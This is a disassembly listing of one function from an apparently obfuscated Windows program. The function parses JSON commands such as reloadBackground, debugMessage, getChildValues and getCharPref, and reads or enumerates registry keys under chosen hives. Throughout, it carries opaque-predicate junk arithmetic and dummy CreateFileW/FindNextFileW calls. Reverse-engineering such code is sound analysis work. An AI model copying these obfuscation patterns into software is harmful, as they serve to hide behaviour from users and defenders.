lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140065646
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x1400647f6
test r12, r12
je 0x140065500
xor sil, sil
mov byte [rsp + 0x7c], sil
lea rcx, [rsp + 0x200]
call fcn.1400021b0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xa78], rax
lea rdx, [0x14014cf48]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa88], rax
cmp byte [rax + 8], 4
jne 0x1400647d4
mov eax, dword [0x1401bdd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 8
jne 0x1400645c3
mov dword [rsp + 0x1028], edi
mov dword [rsp + 0x1080], edi
mov dword [rsp + 0x10b0], edi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xa98], rax
lea rdx, [0x14014cf48]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xaa8], rax
lea rdx, [rsp + 0x4b50]
mov rcx, rax
call fcn.140038330
nop
mov rax, qword [rsp + 0x4b60]
mov qword [rsp + 0xab8], rax
lea r8, [rsp + 0x4b50]
cmp qword [rsp + 0x4b68], 0x10
cmovae r8, qword [rsp + 0x4b50]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov dword [rsp + 0x400], ebx
test eax, eax
je 0x14006474a
mov qword [rsp + 0x268], rdi
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x278], rdi
mov rdx, rbx
add rdx, rdx
lea rcx, [rsp + 0x268]
call fcn.140031880
nop
mov rax, qword [rsp + 0x4b60]
mov qword [rsp + 0xac8], rax
lea r8, [rsp + 0x4b50]
cmp qword [rsp + 0x4b68], 0x10
cmovae r8, qword [rsp + 0x4b50]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x268]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x140064725
mov r8, qword [rsp + 0x270]
sub r8, rbx
mov qword [rsp + 0xad8], r8
mov rdx, rbx
lea rcx, [rsp + 0x678]
call fcn.1400206b0
mov qword [rsp + 0xae8], rax
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.140002310
nop
lea rcx, [rsp + 0x678]
call fcn.140002290
mov sil, 1
mov byte [rsp + 0x7c], sil
test rbx, rbx
je 0x14006474a
mov rcx, rbx
call fcn.1400cbac0
mov qword [rsp + 0x268], rdi
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x278], rdi
mov r8d, dword [0x1401bdd80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 0xb
jne 0x140064787
dec r8d
mov dword [0x1401bdd80], r8d
lea rcx, [rsp + 0x4b50]
call fcn.1400013b0
test sil, sil
je 0x1400647d4
mov rcx, qword [rsp + 0x200]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x7c0], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xaf8], rax
test rax, rax
jne 0x1400647c3
call fcn.140002580
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
jmp 0x1400647e4
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x200]
call fcn.140002290
jmp 0x140065500
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x140064834
mov rcx, qword [rsi + 0x40]
add rcx, 0x1f0
call fcn.14006a210
test r12, r12
je 0x140065500
mov r14d, 1
mov word [r12], r14w
jmp 0x140065500
lea rdx, str.debugMessage
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x1400648f7
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xb08], rax
lea rdx, str.message
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb18], rax
cmp byte [rax + 8], 4
jne 0x140064927
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xb28], rax
lea rdx, str.message
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb38], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb48], rdx
lea rcx, [rsp + 0x688]
call fcn.140003420
nop
test r12, r12
je 0x1400648e5
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x688]
call fcn.140002290
jmp 0x140065500
call fcn.140060020
test al, al
jne 0x140064927
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test r12, r12
je 0x140065500
mov word [r12 + 8], di
jmp 0x140062c22
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xb58], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb68], rax
cmp byte [rax + 8], 4
jne 0x140065500
test r12, r12
je 0x140065500
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x240], rdi
mov qword [rsp + 0x248], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xb78], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0xb88], rax
cmp rax, r14
je 0x140064cd5
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xb98], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xba8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbb8], rdx
lea rcx, [rsp + 0x210]
call fcn.140003420
nop
mov rbx, qword [rsi + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x210]
call fcn.140003880
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xbc8], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xbd8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xbe8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbf8], rdx
lea rax, [rsp + 0x698]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r9d, eax
mov dword [rsp + 0x410], eax
test eax, eax
je 0x140064ba8
mov r8d, dword [0x1401bdd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0xa
jne 0x140064b0b
mov edx, edi
mov dword [rsp + 0x1b8], edx
movsxd rax, edx
cmp rax, 0x3c8
jae 0x140064b0b
mov eax, dword [rsp + rax*4 + 0x5020]
lea ecx, [rax + rax*4]
shl ecx, 5
add r8d, ecx
mov dword [0x1401bdd80], r8d
inc edx
jmp 0x140064ade
test r12, r12
je 0x140064b1f
mov dword [r12 + 8], r9d
mov eax, 0x16
mov word [r12], ax
lea rcx, [rsp + 0x210]
call fcn.140002290
nop
lea rcx, [rsp + 0x238]
call fcn.14001b240
nop
lea rcx, [rsp + 0x48]
call fcn.140002290
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x140064b5e
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
lea rcx, [rsp + 0x70]
call fcn.140002290
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140065646
mov ebx, edi
mov dword [rsp + 0x208], ebx
mov dword [rsp + 0xe8], 0x7ffe
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.140003880
mov r14, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove r14, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0xc08], r14
mov ecx, 0x7ffe
call fcn.1400cb128
mov rsi, rax
mov qword [rsp + 0xc18], rax
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rax
call fcn.1400d0f20
nop dword [rax + rax]
mov edx, ebx
inc ebx
mov dword [rsp + 0x208], ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0xe8]
mov r8, rsi
mov rcx, qword [rsp + 0x698]
call r14
mov dword [rsp + 0x630], eax
test eax, eax
jne 0x140064c9f
mov rdx, rsi
lea rcx, [rsp + 0x6a8]
call fcn.140003420
nop
mov rdx, rax
lea rcx, [rsp + 0x238]
call fcn.140027f70
nop
lea rcx, [rsp + 0x6a8]
call fcn.140002290
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rsi
call fcn.1400d0f20
mov dword [rsp + 0xe8], 0x7ffe
jmp 0x140064c10
cmp eax, 0x103
je 0x140064cc2
mov rax, qword [rsp + 0x240]
sub rax, qword [rsp + 0x238]
test rax, 0xfffffffffffffff8
jne 0x140064cc2
xor bl, bl
jmp 0x140064cc4
mov bl, 1
mov byte [rsp + 0x51], bl
lea rcx, [rsp + 0x210]
jmp 0x140064dba
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.140003880
lea rdx, str.param
lea rcx, [rsp + 0x58]
test eax, eax
jne 0x140064d59
call fcn.140038c30
mov qword [rsp + 0xc28], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xc38], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc48], rdx
lea rcx, [rsp + 0x328]
call fcn.140003420
nop
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0x328]
call fcn.14004a1d0
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x328]
jmp 0x140064dba
call fcn.140038c30
mov qword [rsp + 0xc58], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xc68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc78], rdx
lea rcx, [rsp + 0x338]
call fcn.140003420
nop
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0x338]
call fcn.140049da0
movzx ebx, al
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x338]
call fcn.140002290
test bl, bl
je 0x140064fd3
lea rdx, [0x14014ce10]
lea rcx, [rsp + 0xb8]
call fcn.1400021f0
nop
mov rbx, qword [rsp + 0x238]
mov qword [rsp + 0x6d8], rbx
cmp rbx, qword [rsp + 0x240]
je 0x140064ec2
lea rdx, [0x14014ce18]
lea rcx, [rsp + 0x358]
call fcn.140003420
nop
lea rdx, [0x14014ce88]
lea rcx, [rsp + 0x348]
call fcn.140003420
nop
mov r8, rbx
lea rdx, [rsp + 0x348]
lea rcx, [rsp + 0x6c8]
call fcn.14000feb0
nop
lea r8, [rsp + 0x358]
mov rdx, rax
lea rcx, [rsp + 0x6b8]
call fcn.14000feb0
mov qword [rsp + 0xc88], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x420], r8d
mov qword [rsp + 0xc98], rdx
lea rcx, [rsp + 0xb8]
call fcn.140010970
nop
lea rcx, [rsp + 0x6b8]
call fcn.140002290
nop
lea rcx, [rsp + 0x6c8]
call fcn.140002290
nop
lea rcx, [rsp + 0x348]
call fcn.140002290
nop
lea rcx, [rsp + 0x358]
call fcn.140002290
add rbx, 8
jmp 0x140064de4
mov rax, qword [rsp + 0xb8]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x740], r8d
dec r8d
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0xb8]
call fcn.14001ae30
nop
lea r8, [0x14014ce8c]
mov rdx, rax
lea rcx, [rsp + 0x6e8]
call fcn.14001aed0
mov qword [rsp + 0xca8], rax
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.140002310
nop
lea rcx, [rsp + 0x6e8]
call fcn.140002290
nop
lea rcx, [rsp + 0x6f8]
call fcn.140002290
mov eax, dword [0x1401bdd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 8
jne 0x140064f8b
mov ecx, 4
call fcn.1400cc2a0
mov rbx, rax
mov qword [rsp + 0xcb8], rax
call fcn.1400cc4a0
mov dword [rbx], eax
mov dword [0x1401bdd80], eax
mov rcx, rbx
call fcn.1400cbac0
mov rcx, qword [rsp + 0xb8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x430], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xcc8], rax
test rax, rax
jne 0x140064fb5
call fcn.140002580
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
lea rcx, [rsp + 0xb8]
call fcn.140002290
jmp 0x140064fe3
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x238]
call fcn.14001b240
jmp 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xcd8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xce8], rax
cmp byte [rax + 8], 4
jne 0x140065500
test r12, r12
je 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xcf8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xd08], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xd18], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xd28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd38], rdx
lea rcx, [rsp + 0xd0]
call fcn.140003420
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xd48], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xd58], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd68], rdx
lea rcx, [rsp + 0xc8]
call fcn.140003420
nop
mov rbx, rdi
mov qword [rsp + 0x120], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xd78], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0xd88], rax
cmp rax, r14
je 0x1400651ff
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xd98], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xda8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdb8], rdx
lea rcx, [rsp + 0x368]
call fcn.140003420
nop
mov rbx, qword [rsi + 0x50]
mov qword [rsp + 0x120], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x368]
call fcn.140003880
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x120], rbx
mov rcx, qword [rsp + 0x368]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x708], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400651f7
mov rdx, qword [rsp + 0x708]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x120]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x14006537c
lea rcx, [rsp + 0x140]
call fcn.1400021b0
nop
test rbx, rbx
je 0x140065255
mov r9, rbx
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x140]
call fcn.140048d50
mov rbx, qword [rsp + 0x40]
jmp 0x140065309
lea rax, [rsp + 0x718]
mov qword [rsp + 0xdc8], rax
lea rdx, [0x140146fd8]
lea rcx, [rsp + 0x718]
call fcn.1400021f0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401b8d58]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x728]
call fcn.140048570
mov qword [rsp + 0xdd8], rax
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.140002310
nop
mov rcx, qword [rsp + 0x728]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x738], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400652ee
mov rdx, qword [rsp + 0x738]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140065309
mov rcx, qword [rsp + 0x140]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x640], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xde8], rax
test rax, rax
jne 0x140065333
call fcn.140002580
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x140]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x758], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065492
mov rdx, qword [rsp + 0x758]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140065492
mov dword [rsp + 0xa0], r15d
mov dword [rsp + 0xe4], 0xffffffff
test rbx, rbx
je 0x140065403
mov r9, rbx
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xe4]
call fcn.140048f40
movzx r9d, al
mov byte [rsp + 0x79], al
mov r8d, r15d
cmp dword [rsp + 0xe4], 0xffffffff
cmovne r8d, dword [rsp + 0xe4]
mov dword [rsp + 0xa0], r8d
mov ecx, dword [0x1401bdd80]
imul ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
cmp ecx, 2
jne 0x140065461
inc dword [0x1401bf384]
jmp 0x140065461
lea rax, [rsp + 0x768]
mov qword [rsp + 0xdf8], rax
lea rdx, [0x140146fd8]
lea rcx, [rsp + 0x768]
call fcn.1400021f0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401b8d58]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xa0]
call fcn.140049260
movzx r9d, al
mov byte [rsp + 0x79], al
mov r8d, dword [rsp + 0xa0]
cmp r8d, 0xffffffff
jne 0x14006547e
test r9b, r9b
jne 0x14006547e
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
jmp 0x14006548d
mov dword [r12 + 8], r8d
mov eax, 0x16
mov word [r12], ax
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x778], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400654c4
mov rdx, qword [rsp + 0x778]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x788], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065505
mov rdx, qword [rsp + 0x788]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140065505
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140002290
nop
lea rcx, [rsp + 0x4b10]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002290
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov r13b, 1
jmp 0x14006565b
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x388]
call fcn.140003420
nop
lea rdx, [rsp + 0x388]
mov rcx, qword [rsi + 0x40]
call fcn.14005b260
nop
mov rcx, qword [rsp + 0x388]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x798], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400655a3
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x1400655bb
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7a8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140065606
mov rdx, qword [rsp + 0x7a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140065651
test r13b, r13b
jne 0x14006565b
mov r14d, 1
test r12, r12
je 0x14006565b
mov word [r12], r14w
mov ecx, dword [0x1401bdd80]
imul ecx, ecx
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0xe
jne 0x140065687
dec dword [0x1401bf3d4]
mov rdx, qword [rbx]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r15d
dec r15d
jg 0x1400656a3
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, r13b
mov rcx, qword [rsp + 0x5600]
xor rcx, rsp
call fcn.1400cbae0
add rsp, 0x5610
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret